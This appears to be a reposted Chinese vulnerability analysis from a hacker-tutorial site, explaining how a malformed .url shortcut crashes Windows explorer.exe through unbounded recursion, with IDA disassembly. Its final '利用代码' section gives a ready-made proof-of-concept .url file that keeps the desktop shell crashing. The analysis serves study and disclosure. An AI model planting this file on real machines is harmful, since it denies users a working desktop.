| 网站首页 | Vip会员区 | 教程 | 下载 | 图片 | QQ家园 | 免费资源 | 在线服务 | 论坛 | 博客 | 程序开发 | It学堂 | 作品发布 | 
站点相关
代刻黑客光盘或订做光盘

精品软件程序定制

为您的网站或者服务器保驾护航
相关内容
最 新 热 门
相 关 文 章
没有相关文章
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> 黑客文献 >> 正文
解析URL格式化漏洞
文章录入:7747.Net    责任编辑:7747.Net 

【字体:

作者: tutu,  出处:IT专家网

1.描述

  Windows的Shell程序explorer.exe在处理包含畸形数据的“.url”文件时存在问题,本地攻击者可能利用此漏洞导致用户机器上的explorer.exe进程崩溃。

  如果explorer.exe解析了包含有特别格式URL的*.url文件的话,就会导致崩溃。即使通过资源管理器试图删除这个文件时也会触发崩溃。

  目前厂商还没有提供补丁或者升级程序,到目前为止该漏洞依然有效。

浅析URL格式化漏洞

  汇编代码中际出错的地址:

7D5CE6B9  push    ecx
7D5CE6BA  lea     ecx, dword ptr [esp+8]
7D5CE6BE  sub     ecx, 1000
7D5CE6C4  sub     eax, 1000
7D5CE6C9  test    dword ptr [ecx], eax 异常地址
7D5CE6CB  cmp     eax, 1000
7D5CE6D0  jnb     short 7D5CE6BE
7D5CE6D2  sub     ecx, eax
7D5CE6D4  mov     eax, esp
7D5CE6D6  test    dword ptr [ecx], eax
7D5CE6D8  mov     esp, ecx
7D5CE6DA  mov     ecx, dword ptr [eax]
7D5CE6DC  mov     eax, dword ptr [eax+4]
7D5CE6DF  push    eax
7D5CE6E0  retn

  2.详细分析

  在IDA的反汇编中可知:

public: virtual long __stdcall CFileUrlStub::ParseDisplayName(struct HWND__ *, struct IBindCtx *, unsigned short *, unsigned long *, struct _ITEMIDLIST * *, unsigned long *) proc near
.text:7D6A112C                                         ; DATAnbsp;XREF: .text:7D5A327Co
.text:7D6A112C
.text:7D6A112C var_20A0        = dword ptr -20A0h
.text:7D6A112C var_209C        = dword ptr -209Ch
.text:7D6A112C var_2098        = dword ptr -2098h
.text:7D6A112C Srch            = word ptr -2094h
.text:7D6A112C var_104C        = dword ptr -104Ch
.text:7D6A112C var_4           = dword ptr -4
.text:7D6A112C arg_C           = dword ptr  14h
.text:7D6A112C arg_14          = dword ptr  1Ch
.text:7D6A112C arg_18          = dword ptr  20h
.text:7D6A112C
.text:7D6A112C                 mov     edi, edi
.text:7D6A112E                 push    ebp
.text:7D6A112F                 mov     ebp, esp
.text:7D6A1131                 mov     eax, 20A0h 局部堆栈长度
.text:7D6A1136                 call    __chkstk 出错函数地址
.text:7D6A1136
.text:7D6A113B                 mov     eax, ___security_cookie
.text:7D6A1140                 push    ebx
.text:7D6A1141                 mov     ebx, [ebp+arg_18]
.text:7D6A1144                 push    esi
.text:7D6A1145                 mov     esi, [ebp+arg_14]
.text:7D6A1148                 push    edi
.text:7D6A1149                 mov     edi, [ebp+arg_C]
.text:7D6A114C                 push    edi
.text:7D6A114D                 mov     [ebp+var_4], eax
.text:7D6A1150                 call    ds:UrlGetLocationW(x)
.text:7D6A1156                 push    0
.text:7D6A1158                 mov     [ebp+var_2098], eax
.text:7D6A115E                 push    6
.text:7D6A1160                 lea     eax, [ebp+var_209C]
.text:7D6A1166                 push    eax
.text:7D6A1167                 lea     eax, [ebp+var_104C+2]
.text:7D6A116D                 push    eax
.text:7D6A116E                 push    edi
.text:7D6A116F                 mov     [ebp+var_20A0], 824h
.text:7D6A1179                 mov     [ebp+var_209C], 823h
.text:7D6A1183                 call    ds:UrlGetPartW(x,x,x,x,x)
.text:7D6A1189                 test    eax, eax
.text:7D6A118B                 jl      short loc_7D6A11A1
.text:7D6A118B
.text:7D6A118D                 cmp     [ebp+var_209C], 0
.text:7D6A1194                 jz      short loc_7D6A11A1
.text:7D6A1194
.text:7D6A1196                 mov     word ptr [ebp+var_104C], 3Fh
.text:7D6A119F                 jmp     short loc_7D6A11A9
.text:7D6A119F
.text:7D6A11A1 ; ---------------------------------------------------------------------------
.text:7D6A11A1
.text:7D6A11A1 loc_7D6A11A1:                           ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+5Fj
.text:7D6A11A1                                         ; CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+68j
.text:7D6A11A1                 and     word ptr [ebp+var_104C], 0
.text:7D6A11A1
.text:7D6A11A9
.text:7D6A11A9 loc_7D6A11A9:                           ; CODE XREF: CFileUrlStub::ParseDisplayName(HWND__ *,IBindCtx *,ushort *,ulong *,_ITEMIDLIST * *,ulong *)+73j
.text:7D6A11A9                 push    0
.text:7D6A11AB                 lea     eax, [ebp+var_20A0]
.text:7D6A11B1                 push    eax
.text:7D6A11B2                 lea     eax, [ebp+Srch]
.text:7D6A11B8                 push    eax
.text:7D6A11B9                 push    edi
.text:7D6A11BA                 call    ds:PathCreateFromUrlW(x,x,x,x) 该函数递归
.text:7D6A11C0                 test    eax, eax
.text:7D6A11C2                 jl      short loc_7D6A121B
.text:7D6A11C2
.text:7D6A11C4                 push    ebx             ; int
.text:7D6A11C5                 push    esi             ; int
.text:7D6A11C6                 xor     edi, edi
.text:7D6A11C8                 push    edi             ; char
.text:7D6A11C9                 push    edi             ; int
.text:7D6A11CA                 lea     eax, [ebp+Srch]
.text:7D6A11D0                 push    eax             ; lpSrch
.text:7D6A11D1                 call    ILCreateFromPathEx(x,x,x,x,x)

  总结:

  由于对参数检查不严格,造成这段函数不停地递规调用自已,每次都用堆栈0x20A0。由于windows线程的堆栈不是无限增大的,超过他的最大范围就出错了。当进行第28次调用以后,达到了windows堆栈所能允许的最大值,explorer程序异常退出。

  3.利用代码 

      [InternetShortcut]
  url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:

  把以上文字保成成URL为后缀的文件,可以造成桌面程序(Expolore.exe)一直出错。

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     | 设为首页 | 加入收藏 | 广告服务 | 我要投稿 | 关于我们 | 版权申明 | 免责声明 | 隐私声明 | 网站地图 |